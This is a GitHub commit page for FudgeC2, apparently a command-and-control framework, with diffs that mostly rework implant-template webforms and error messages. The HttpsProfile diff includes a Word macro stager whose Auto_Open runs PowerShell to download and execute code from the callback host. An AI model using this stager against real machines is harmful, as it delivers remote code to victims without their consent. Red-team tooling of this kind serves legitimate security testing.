Skip to content

Commit cf79923

Browse files
author
Kris Anderson
committed
Bug fixes for issue id: 4
- Removed checkboxes in 'New Implant Template' page which breaks new implant creation. - Added in working to make the page clearer - Added in string interpolation to the page generation to break more robust webforms. - Fixed stager generation which was missing sure in httpS for the docm generation - Tweaked SqlAlchemy error response. This is commonly seen when a user resubmits the page and tries to recreate an existing template
1 parent e162616 commit cf79923

File tree

6 files changed

+26
-25
lines changed

6 files changed

+26
-25
lines changed

FudgeC2/Data/DatabaseImplant.py

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -47,8 +47,8 @@ def create_new_implant_template(self, user, cid, config):
4747
return True
4848

4949
except Exception as e:
50-
print(f"Error in create_new_implant_template(): {e}")
51-
return e
50+
error = f"Error in create_new_implant_template() SQLAlc error: {e}"
51+
return error
5252

5353
def Get_AllImplantBaseFromCid(self, cid):
5454
# -- THIS NEED TO BE REBUILT

FudgeC2/NetworkProfiles/Profiles/BasicHttpProfile/BasicHttpProfile.py

Lines changed: 8 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -50,13 +50,14 @@ def get_docm_implant_stager(self, implant_data=None):
5050
return stager_string
5151

5252
def get_webform(self):
53-
a = '''
54-
<div class="checkbox">
55-
<label><input type="checkbox" name="BasicHttpProfile" value="off"> Basic HTTP Profile</label>
56-
<input type="text" class="form-control" id="BasicHttpProfile" name="BasicHttpProfile" placeholder="TCP Port for binary listener">
57-
</div>
58-
'''
59-
return a
53+
# TODO: Add string interolation on the form tied back to self.profile_tag to ensure that no breaking changes occur if the profile tag is changed.
54+
55+
webform = (f"<div>"
56+
f" <label class=\"font-weight-bold\">{self.name}</label>"
57+
f' <p><span class="font-italic">If left blank this network profile will not be included in the implant.</span><p>'
58+
f' <input type="text" class="form-control" id="{self.profile_tag}" name="{self.profile_tag}" placeholder="TCP port for HTTP listener">'
59+
f"</div>")
60+
return webform
6061

6162
def validate_web_form(self, key, value):
6263
try:

FudgeC2/NetworkProfiles/Profiles/HttpsProfile/HttpsProfile.py

Lines changed: 9 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,7 @@
22

33
class HttpsProfile:
44
name = "HTTPS Profile"
5-
description = "This is a basic network profile which use base64 commands and unencrypted traffic"
5+
description = "This is a basic network profile which use base64 commands and is encrypted over via standard TLS. Uses 3 seperate enpoints."
66
profile_tag = "HttpsProfile"
77

88
def get_powershell_code(self):
@@ -43,20 +43,20 @@ def get_docm_implant_stager(self, implant_data=None):
4343
stager_string = f'''
4444
Sub Auto_Open()
4545
Dim exec As String
46-
exec = "powershell.exe ""IEX ((new-object net.webclient).downloadstring('http://{implant_data['callback_url']}:{implant_data['network_profiles'][self.profile_tag]}/error.htm?user={implant_data['stager_key']}'))"""
46+
exec = "powershell.exe ""IEX ((new-object net.webclient).downloadstring('https://{implant_data['callback_url']}:{implant_data['network_profiles'][self.profile_tag]}/error.htm?user={implant_data['stager_key']}'))"""
4747
Shell (exec)
4848
End Sub
4949
:return:'''
5050
return stager_string
5151

5252
def get_webform(self):
53-
a = '''
54-
<div class="checkbox">
55-
<label><input type="checkbox" name="HttpsProfile" value="off"> Basic HTTP Profile</label>
56-
<input type="text" class="form-control" id="HttpsProfile" name="HttpsProfile" placeholder="TCP Port for binary listener">
57-
</div>
58-
'''
59-
return a
53+
webform = (f"<div>"
54+
f" <label class=\"font-weight-bold\" >{self.name}</label>"
55+
f' <p><span class="font-italic">If left blank this network profile will not be included in the implant.</span><p>'
56+
f' <input type="text" class="form-control" id="{self.profile_tag}" name="{self.profile_tag}" placeholder="TCP port for HTTPS listener">'
57+
f"</div>")
58+
59+
return webform
6060

6161
def validate_web_form(self, key, value):
6262
try:

FudgeC2/ServerApp/ImplantManager.py

Lines changed: 2 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -28,9 +28,6 @@
2828
login = LoginManager(app)
2929
login.init_app(app)
3030

31-
# TODO: Controller dev work.
32-
listener_management = None
33-
3431

3532
# -- Context Processors --#
3633
@app.context_processor
@@ -218,6 +215,7 @@ def get_listener_details():
218215
to_return.append(x)
219216
return jsonify(test=to_return)
220217

218+
221219
@app.route("/api/v1/listener/change", methods=['POST'])
222220
@login_required
223221
def Listener_Updates():
@@ -229,6 +227,7 @@ def Listener_Updates():
229227
flash(form_response)
230228
return redirect(url_for('GlobalListenerPage'))
231229

230+
232231
@app.route("/api/v1/listener/create", methods=['POST'])
233232
@login_required
234233
def create_new_listener():

FudgeC2/ServerApp/modules/ImplantManagement.py

Lines changed: 0 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -22,7 +22,6 @@ def _form_validated_obfucation_level_(self, form):
2222
obfuscation_value = 0
2323
elif obfuscation_value > 4:
2424
obfuscation_value = 4
25-
print(f"Returning obf_a: {form['obfuscation']} to ofb_b: {obfuscation_value}")
2625
return obfuscation_value
2726
except:
2827
return None

FudgeC2/ServerApp/templates/CreateImplant.html

Lines changed: 5 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -5,7 +5,7 @@
55
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/tempusdominus-bootstrap-4/5.0.1/css/tempusdominus-bootstrap-4.min.css" />
66

77
<div class="row justify-content-md-center m-4">
8-
<div class="col-lg-4 rounded p-3">
8+
<div class="col-lg-5 rounded p-3">
99
<h3>Create Implant Template</h3>
1010
<form id="Login" method="POST" action="create" name="CI">
1111
<div class="form-group"><div>Implant title <span class="text-danger">*</span></div>
@@ -23,7 +23,7 @@ <h3>Create Implant Template</h3>
2323
<div class="form-group">Beacon delay (seconds)
2424
<input type="text" class="form-control" name="beacon_delay" id="beacon_delay" value="3600" placeholder="3600">
2525
</div>
26-
<div class="form-group"><b>Implant obfuscation options:</b>
26+
<div class="form-group"><b class="font-weight-bold">Implant obfuscation options:</b>
2727

2828
<div class="form-check">
2929
<label class="form-check-label active">
@@ -72,8 +72,10 @@ <h3>Create Implant Template</h3>
7272
</script>
7373

7474
{% if profiles%}
75-
<h4>Network Profiles</h4>
75+
<h4>Network Profiles<span class="text-danger">*</span></h4>
76+
<div>To include a network profile in your implant simple enter the port it's listener will be listening on. At least one profile is required per implant template, any blank entries are not included</div>
7677
{% for profile in profiles%}
78+
<hr>
7779
{{ profile | safe }}
7880
{% endfor %}
7981
{% else %}

0 commit comments

Comments
 (0)